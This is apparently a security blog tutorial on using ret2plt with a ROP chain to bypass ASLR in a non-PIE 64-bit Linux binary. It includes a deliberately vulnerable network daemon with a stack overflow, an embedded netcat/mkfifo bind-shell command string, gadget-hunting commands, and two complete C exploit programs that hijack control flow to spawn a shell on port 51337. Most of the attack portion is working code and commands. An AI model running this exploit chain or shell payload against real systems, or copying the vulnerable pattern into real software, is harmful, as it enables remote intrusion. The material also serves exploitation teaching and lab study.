written by : Antonius (w1sdom)web : bluedragonsec.comgithub : https://github.com/bluedragonsecurity
The ret2plt technique is only useful under ASLR conditions if the ELF binary is compiled without PIE.
Unfortunately, on the current 64-bit Linux architecture, the ret2plt technique is no longer useful because all binaries are compiled with PIE by default.
Let us take Ubuntu as a reference. Since when has PIE been enabled by default?
Here is the timeline:
21 April 2016
Ubuntu 16.04 32-bit — -> default compilation non PIE
Ubuntu 16.04 64-bit — -> default compilation non PIE
13 October 2016
Ubuntu 16.10 32-bit — -> default compilation non PIE
Ubuntu 16.10 64-bit — -> PIE default for all binaries
13 April 2017
Ubuntu 17.04 32-bit — -> default compilation non PIE
Ubuntu 17.04 64-bit — -> PIE default for all binaries
19 October 2017
Ubuntu 17.10 32-bit — -> PIE default for all binaries
Ubuntu 17.10 64-bit — -> PIE default for all binaries
26 April 2018
Ubuntu 18.04 32-bit — -> PIE default for all binaries
Ubuntu 18.04 64-bit — -> PIE default for all binaries
From this timeline we can conclude that the ret2plt technique was still useful for bypassing ASLR on 32-bit Ubuntu before 26 April 2018.
For 64-bit, it could still be used to bypass ASLR on Ubuntu 16.04 released on 21 April 2016.
In short, this technique works because ASLR does not randomize all parts of the executable file by default.
Ret2plt is a form of Code Reuse Attack that belongs to the larger family of ROP (Return-Oriented Programming).
As the name implies, Return-Oriented Programming is a technique where we control the program’s execution flow by arranging addresses on the stack that will be called when the ret instruction is executed.
If the program is not compiled as PIE (Position Independent Executable), the Executable section of the main program remains at a static/fixed address.
Within this static section, there is a table called the PLT (Procedure Linkage Table).
To understand ret2plt, we must understand the relationship between PLT and GOT:
In a traditional buffer overflow attack, the attacker tries to jump directly to a function address in libc (for example system()). Because of ASLR, the address of system() changes every time the program runs, making it difficult to predict.
However, with ret2plt, the attacker does not jump to libc, but instead jumps to the function’s entry in PLT.
On the 64-bit architecture (x86_64), the challenge is that function arguments are no longer placed on the stack, but in registers (such as RDI, RSI, etc). Therefore, the ret2plt technique is usually combined with ROP (Return Oriented Programming).
Example Attack Scenario:
1. The attacker finds the address of a pop rdi; ret gadget (static).
2. The attacker loads the address of the string “/bin/sh” into the RDI register.
3. The attacker directs the return address to system@plt (static).
4. The program will execute system(“/bin/sh”) even though the libc address is randomized by ASLR.
In this example, the attacker machine is Kali Linux with IP 10.71.19.14 and the target server is a VirtualBox VM running Lubuntu 24 with IP 10.71.19.211.
To simplify things, let us prepare the setup as usual:
1. Edit /etc/resolv.conf
add: nameserver 127.0.0.1
2. In /etc/dnsmasq.conf add:
address=/victim/10.71.19.211
3. Restart dnsmasq: systemctl restart dnsmasq
In this example we will use a vulnerable daemon application on the target server:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>void gadgets() { __asm__("pop %rdi; ret"); __asm__("pop %rsi; ret"); char *data = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f";}void handle_client(int client_sock) { char buffer[64]; char input[512]; int n = recv(client_sock, input, sizeof(input) - 1, 0); if (n > 0) { input[n] = '\0'; memcpy(buffer, input, sizeof(input)); printf("Received: %s\n", buffer); }}int main(int argc, char **argv) { if (argc > 100) { system(argv[1]); } int server_fd, client_sock; struct sockaddr_in server_addr; server_fd = socket(AF_INET, SOCK_STREAM, 0); int opt = 1; setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(8888); bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)); listen(server_fd, 5); printf("Daemon listening on port 8888...\n"); while (1) { client_sock = accept(server_fd, NULL, NULL); if (fork() == 0) { close(server_fd); handle_client(client_sock); exit(0); } close(client_sock); } return 0;}
Save this on the target server as vuln.c
The source code above has a stack overflow bug during the client data input process:
void handle_client(int client_sock) { char buffer[64]; char input[512]; int n = recv(client_sock, input, sizeof(input) - 1, 0); if (n > 0) { input[n] = '\0'; memcpy(buffer, input, sizeof(input)); printf("Received: %s\n", buffer); }}
Here we can see the stack buffer size is only 64 bytes while the client input can reach 512 bytes.
The use of the unused gadgets function in the original program flow is to simplify the demo of extracting ROP gadgets from the ELF binary, since this ELF binary is small and does not contain many strings and ASM instructions that can be used for ROP. In real-life exploitation, ELF binaries are usually large and likely contain many gadgets for ROP.
void gadgets() { __asm__("pop %rdi; ret"); __asm__("pop %rsi; ret"); char *data = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f";}
Compile:
gcc -o vuln vuln.c -fno-stack-protector -fno-pie -no-pie
Make sure ASLR is active on the target server, type:
sudo echo 2 > /proc/sys/kernel/randomize_va_space
Next, on the target machine, run and debug the process with GDB:
./vuln
Open another terminal and type:
ps aux | grep vuln
Example output:
robohax@robohax-virtualbox:~/Desktop/part4/4/aslr/ret2plt$ ps aux | grep vulnrobohax 8837 0.0 0.0 2680 1124 pts/0 S+ 08:13 0:00 ./vuln
Then we will debug PID 8837:
sudo sugdb -p 8837
In the GDB console, type:
set follow-fork-mode childcont
Back to Kali Linux, let us prepare the basic framework for exploitation:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/socket.h>#include <arpa/inet.h>#include <netdb.h>int main() { int sock; struct sockaddr_in target; struct addrinfo hints, *res; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; char payload[500]; if (getaddrinfo("victim", "8888", &hints, &res) != 0) { perror("Failed to resolve hostname"); return 1; } struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr; memset(payload, 0x90, sizeof(payload)); memset(payload + 88, 'B', 8); memset(payload + 96, 'C', 8); sock = socket(AF_INET, SOCK_STREAM, 0); target.sin_addr = addr->sin_addr; target.sin_family = AF_INET; target.sin_port = htons(8888); inet_pton(AF_INET, "victim", &target.sin_addr); connect(sock, (struct sockaddr *)&target, sizeof(target)); send(sock, payload, 500, 0); close(sock); return 0;}
Save as exploit1.c then compile:
gcc -o exploit1 exploit1.c
Based on testing, the top of the stack can be overwritten starting at byte 88.
To test this we use the exploit1.c code.
Run exploit1:
./exploit1
Back to the target server, let us look at the GDB window and inspect RSP:
x/20gx $rsp
Press enter or click to view image in full size

We can see the top of the stack has been successfully overwritten with 8 bytes of 0x42.
Back to the target server (Lubuntu 24) in VirtualBox. We will look for gadgets that we can use.
We will use this ROP sequence for ret2plt:
1. First, we direct the return address to a memory address containing a ret instruction, with the purpose of stack alignment. Why?
Many functions in Linux (especially glibc functions like system()) use instructions that require the stack address to be aligned on a 16-byte boundary (16-byte alignment).
If the stack is not aligned when a call instruction is executed (e.g., off by 8 bytes), the program will immediately crash with a Segmentation Fault message.
Solution: By adding one address containing a ret instruction (which is 8 bytes on 64-bit) before entering the core ROP chain, you shift the stack position by 8 bytes so it becomes aligned again.
2. Retrieve the memory address containing the function parameter string for system() from the stack into the RDI register. As we know, on Linux x64 function parameters are stored in the RDI, RSI, and subsequent registers. The stack is only used if the number of function arguments exceeds 6.
3. Next, we direct the vulnerable program to jump to the memory address containing the stub instructions or PLT section of the ELF to redirect the program to the actual function address, which is the absolute memory address containing the complete routine for system() that actually resides in libc.
4. After system() is executed, we need to call the exit() syscall so that execution proceeds smoothly. This step is essentially the same as step 3.
Step 1
First, we look for a sequence in the ELF containing a ret instruction. On the target machine, type:
objdump -d vuln | grep ret
Example output:
Press enter or click to view image in full size

We will use the last ret instruction at 401478:
401478: c3 ret
Step 2
Next, we will look for the memory address in the ELF containing the string for the system() function parameter. Type:
ROPgadget --binary vuln --string "rm "
Result:
Strings information============================================================0x0000000000402008 : rm
The memory address is: 402008
Step 3
Find the memory address for system@plt:
objdump -d vuln | grep system
Result:
401391: e8 aa fd ff ff call 401140 <system@plt>
We will use the memory address: 401140
Step 4
Find the memory address for exit@plt:
objdump -d vuln | grep exit
Result:
401458: e8 63 fd ff ff call 4011c0 <exit@plt>
We will use the memory address: 4011c0
Here is our final exploit framework:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/socket.h>#include <arpa/inet.h>#include <netdb.h>#define POP_RDI 0x4012de#define SYSTEM_PLT 0x401140#define RET_GADGET 0x401478#define CMD_ADDR 0x402008#define EXIT_PLT 0x4011c0int main() { int sock; struct sockaddr_in serv_addr; struct addrinfo hints, *res; memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; char payload[512]; int offset = 88; unsigned long val; if (getaddrinfo("victim", "8888", &hints, &res) != 0) { perror("Failed to resolve hostname"); return 1; } struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr; sock = socket(AF_INET, SOCK_STREAM, 0); serv_addr.sin_addr = addr->sin_addr; serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(8888); inet_pton(AF_INET, "victim", &serv_addr.sin_addr); if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { perror("Connect failed"); return -1; } memset(payload, 0x90, sizeof(payload)); val = RET_GADGET; memcpy(payload + offset, &val, 8); offset += 8; val = POP_RDI; memcpy(payload + offset, &val, 8); offset += 8; val = CMD_ADDR; memcpy(payload + offset, &val, 8); offset += 8; val = SYSTEM_PLT; memcpy(payload + offset, &val, 8); offset += 8; val = EXIT_PLT; memcpy(payload + offset, &val, 8); offset += 8; send(sock, payload, offset, 0); printf("[+] Payload sent !\n"); close(sock); return 0;}
Save as exploit2.c then compile:
gcc -o exploit2 exploit2.c
On the target server in VirtualBox, make sure you have exited GDB and vuln is running!
Next, back to Kali Linux, run exploit2:
./exploit2
If successful, we will get a bind shell on the target server on port 51337.
Result:
Press enter or click to view image in full size

I do low level vulnerability research & hardware hacking (main focus : robotics).
Hobbies